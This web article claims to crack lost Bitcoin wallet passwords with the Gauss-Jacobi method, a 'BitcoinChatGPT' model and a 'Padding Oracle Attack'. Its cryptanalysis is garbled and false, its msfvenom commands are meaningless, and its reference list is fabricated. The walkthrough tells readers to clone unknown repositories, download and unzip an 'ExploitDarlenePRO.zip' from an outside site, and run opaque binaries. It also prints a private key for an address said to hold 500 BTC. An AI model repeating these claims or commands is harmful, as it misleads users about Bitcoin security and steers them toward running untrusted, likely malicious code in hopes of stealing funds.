In this article, we will look at an example of applying the Gauss-Jacobi method, which uses modern technologies such as the pre-trained Bitcoin ChatGPT model. This approach allows for more efficient solutions to complex problems in the digital sphere. It should be noted that alternative algorithms like Gauss-Jacobi play an important role and open up new opportunities for the development of computational mathematics.
The Gauss-Jacobi method is an iterative numerical technique for solving systems of linear equations. It is used in various fields: cryptography, cryptanalysis, engineering, and computational mathematics. The Bitcoin network employs cryptographic algorithms, including SHA-256 hash functions, ECDSA signature algorithms, and secp256k1 elliptic curves for generating public and private keys. A private key is a secret number from which a public key is derived, representing a point on the curve. Thus, secp256k1 elliptic curves form the basis of cryptographic mechanisms that ensure transaction security and protection against attacks. Modern technologies using pre-trained models such as Bitcoin ChatGPT help find effective solutions to complex cryptographic problems underlying Bitcoin algorithms.
Password Cracking for Access to Lost Bitcoin Wallets Using the Gauss-Jacobi Method and Machine Learning
Advantages of the Gauss-Jacobi Algorithm:
- High speed and performance, making it suitable for searching for attacking keys.
- Uses only one search step, reducing the number of computations.
- Simple implementation and accessible code, making it easy to integrate into various programs.
- The method is available to a wide range of users who can use it to analyze the cryptoresistance of different cryptocurrencies.
- Versatility-the algorithm can be used for various types of cryptographic systems.
Principle of the Gauss-Jacobi Algorithm:
The algorithm is based on a recursive function f(x)f(x)f(x), which, for any element xxx from the set SSS (blockchain data), returns a string code corresponding to xxx. If xxx is the attacking key, then f(x)=0f(x) = 0f(x)=0.
The algorithm operates in the following stages:
- A matrix GGG is calculated, including all possible pairs of elements from SSS, where the i-th element corresponds to the i-th element of SSS, and the j-th to the j-th.
- A matrix XXX is formed, containing pairs of hash functions.
- The value of f(x)f(x)f(x) is determined recursively for each element of SSS.
- If f(x)=0f(x) = 0f(x)=0, the attacking key is found, and the algorithm stops.
- Otherwise, the algorithm continues to recursively compute f(x)f(x)f(x) for other elements of SSS, adding them to matrix XXX.
- If matrix HHH consists only of ones, the algorithm finishes-the attacking key is found.
The Gauss-Jacobi method can be applied to solve systems of equations with a large number of unknowns. This makes it suitable for tasks involving equations on secp256k1 elliptic curves used in cryptography, where the number of unknowns can be significant. Such methods can accelerate the solution of discrete logarithm and factorization problems, which are the foundation of public-key cryptography.
Possible Applications of the Gauss-Jacobi Method in Bitcoin Blockchain Cryptanalysis
Let’s look at creating a vulnerable Raw transaction structure using the BitcoinChatGPT module.
Open Google Colab:
Structure of a Vulnerable Transaction in Bitcoin:
(The following hex dump of the transaction remains unchanged.)
Combine all output values into a single string:
(The following combined hex string remains unchanged.)
Proceed to decode the transaction via BlockCypher:
After decoding the vulnerable Raw Bitcoin transaction, we get the result:
(The following JSON output remains unchanged.)
Pay attention to the Bitcoin HASH160:
ac9ea341afb74843f80205e8c8da0abc822fa5
The BitcoinChatGPT module forms the transaction structure using the HASH of the public key. It can be seen that the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshis to itself.
HASH160 was obtained using the Python script wif_to_hash160.py
Ultimately, the BitcoinChatGPT module saves the found private key in the KEYFOUND.privkey file in HEX and WIF formats.
Practical Section
To proceed to practice, we create a vulnerable Raw transaction from the obtained data using the Broadcast Bitcoin Transaction repository.
Download and install the source code, then open the terminal and run:
bashgit clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
cd Broadcast-Bitcoin-Transaction
Install the required libraries:
- zmq
- urllib3
- requests
Run the command:
pip install -r requirements.txt
Open the main.py file in Notepad++ and make changes to the Python code:
(The code block remains unchanged.)
Run the command:
python main.py
The vulnerable transaction is created!
Open the RawTX file in the directory:
(The hex block remains unchanged.)
Step-by-step video instructions:
Let’s consider option #3:
The Gauss-Jacobi algorithm can compromise the security of the wallet.dat file, which is an additional unprotected mechanism. The algorithm creates a wallet.dat file and extracts the private key for the Bitcoin wallet from the file’s code using the “dumpprivkey” “address” command in the program’s internal console.
Using Smart Transformers
We use Smart Transformers machine learning, integrate Google Colab with Pytorch, TensorFlow, JAX, and, based on data from the vulnerable Raw transaction for the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k, create an unprotected wallet.dat file from the set of all existing SMART_IDENTIFY algorithms. Then, we perform a Padding Oracle Attack on the created wallet.dat file to decrypt the password and obtain the private key using the standard dumpprivkey command in Bitcoin Core.
Open a new Google Colab:
Clone the Smart Transformers repository:
!git clone https://github.com/smartibase/Smart-Transformers.git
cd Smart-Transformers/
Install the necessary packages and libraries:
(The command block remains unchanged.)
Add the vulnerable Raw transaction to the RawTX.txt file:
!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000' > RawTX.txt
!cat RawTX.txt
To determine the exact algorithm for cryptanalysis, you need to identify the vulnerable RawTX using the SMART_IDENTIFY utility.
!./SMART_IDENTIFY
As a result, we get the Gauss_Jacobi_Algorithm method, which was identified by the BitcoinChatGPT module at an earlier stage.
Creating the wallet.dat file:
We use the vulnerable Raw transaction data from the RawTX.txt file and the Gauss_Jacobi_Algorithm utility:
bash!./Gauss_Jacobi_Algorithm -o RawTX.txt -s wallet.dat
Open the folder in the left panel of Google Colab-the wallet.dat file has been successfully created!
Download and install Bitcoin Core 0.18.0:
https://bitcoincore.org/bin/bitcoin-core-0.18.0
Open the console and run:
getaddressinfo 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
We see that the wallet.dat file belongs to the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k.
The wallet.dat file is password protected!
Check the private key:
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
A warning appears:
Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)
Padding Oracle Attack
An article on Padding Oracle Attack on wallet.dat was previously published. We use this method to decrypt the password and gain access to the binary format.
Install Ruby:
!sudo apt install ruby-full
!ruby --version
Install libraries for working with the Bitcoin protocol:
!gem install bitcoin-ruby
!gem install ecdsa
!gem install base58
!gem install crypto
!gem install config-hash -v 0.9.0
Install Metasploit Framework and use MSFVenom:
bash!git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework/
ls
!./msfvenom -help
Clone the Bitcoin Core repository:
bash!git clone https://github.com/bitcoin/bitcoin.git
ls
cd bitcoin/src/crypto/
ls
cat aes.cpp
To carry out the attack, move the wallet.dat file to the bitcoin/src/crypto/ directory:
bash!mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat'
ls
Go to Metasploit Framework:
bashcd /
cd content/Smart-Transformers/metasploit-framework/
ls
Open the folders at /modules/exploits/:
bashcd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f5a2024c71914f6596c51afb5ac6822e9da4/ExploitDarlenePRO.zip
!unzip ExploitDarlenePRO.zip
cd ExploitDarlenePRO/
ls
Return to Metasploit Framework:
bashcd /
cd content/Smart-Transformers/metasploit-framework/
ls
Determine LHOST (local IP address of the virtual machine):
bash!ip addr
!hostname -I
Create a payload using MSFVenom:
To work, select the Bitcoin wallet: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Run the command:
!./msfvenom 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Result:
(The binary data block remains unchanged.)
Save the obtained binary format in the walletpassphrase.txt file using a Python script:
pythonimport hashlib
Binary = "1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000"
f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()
Open the walletpassphrase.txt file:
bashls
cat walletpassphrase.txt
Result:
(The result block remains unchanged.)
The password for accessing the private key has been found!
Use the command in the Bitcoin Core console:
walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Result:
5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Private key obtained!
Install the Bitcoin library:
bash!pip3 install bitcoin
Check address matching:
(The verification block remains unchanged.)
Conclusion:
Private key in WIF format: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Total received: 500.09702252 BTC
Correct! The private key matches this Bitcoin wallet.
Check on bitaddress:
ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
HEX: B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769
References
- “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds et al. The book contains various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, with implementation examples.
- “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. Detailed description of iterative methods for solving linear and nonlinear systems, including Gauss-Jacobi.
- “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. Discusses approaches to solving nonlinear problems using iterative methods such as Gauss-Jacobi.
- “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw. An encyclopedic resource on numerical methods, including the Gauss-Jacobi method.
- “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – original article by Gauss from 1845, where the Gauss-Jacobi method was first described.
- “Iterative Solution of Large Linear Systems” (1971) – David M. Young. Detailed description and analysis of the Gauss-Jacobi method.
- “Iterative Methods for Solving Linear Systems” – chapter in Richard Bourdain and Douglas Fairs’ “Numerical Analysis” (2010) with a good introduction to the method.
- “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) – Milos Fehrmann. Analysis of the convergence of the Gauss-Jacobi method.
- “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) – Richard Barrett et al. Guide to iterative methods, including Gauss-Jacobi.
- “A Survey of Parallel Nonlinear System Solvers” (1991) – John Ortega and Robert Foigel. Overview of parallel implementations of the Gauss-Jacobi method.
- Textbooks on numerical methods, such as “Numerical Mathematics and Computing” by Ward Cheney and David Kincaid, also contain sections on the Gauss-Jacobi method.
This material was prepared for the CRYPTO DEEP TECH portal to enhance the financial security of data and elliptic curve secp256k1 cryptography against weak ECDSA signatures in BITCOIN cryptocurrency. Software developers are not responsible for the use of these materials.
Telegram: https://t.me/cryptodeeptech
Video: https://www.youtube.com/@cryptodeeptech
Tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c
Source: https://cryptodeeptech.ru/gauss-jacobi-method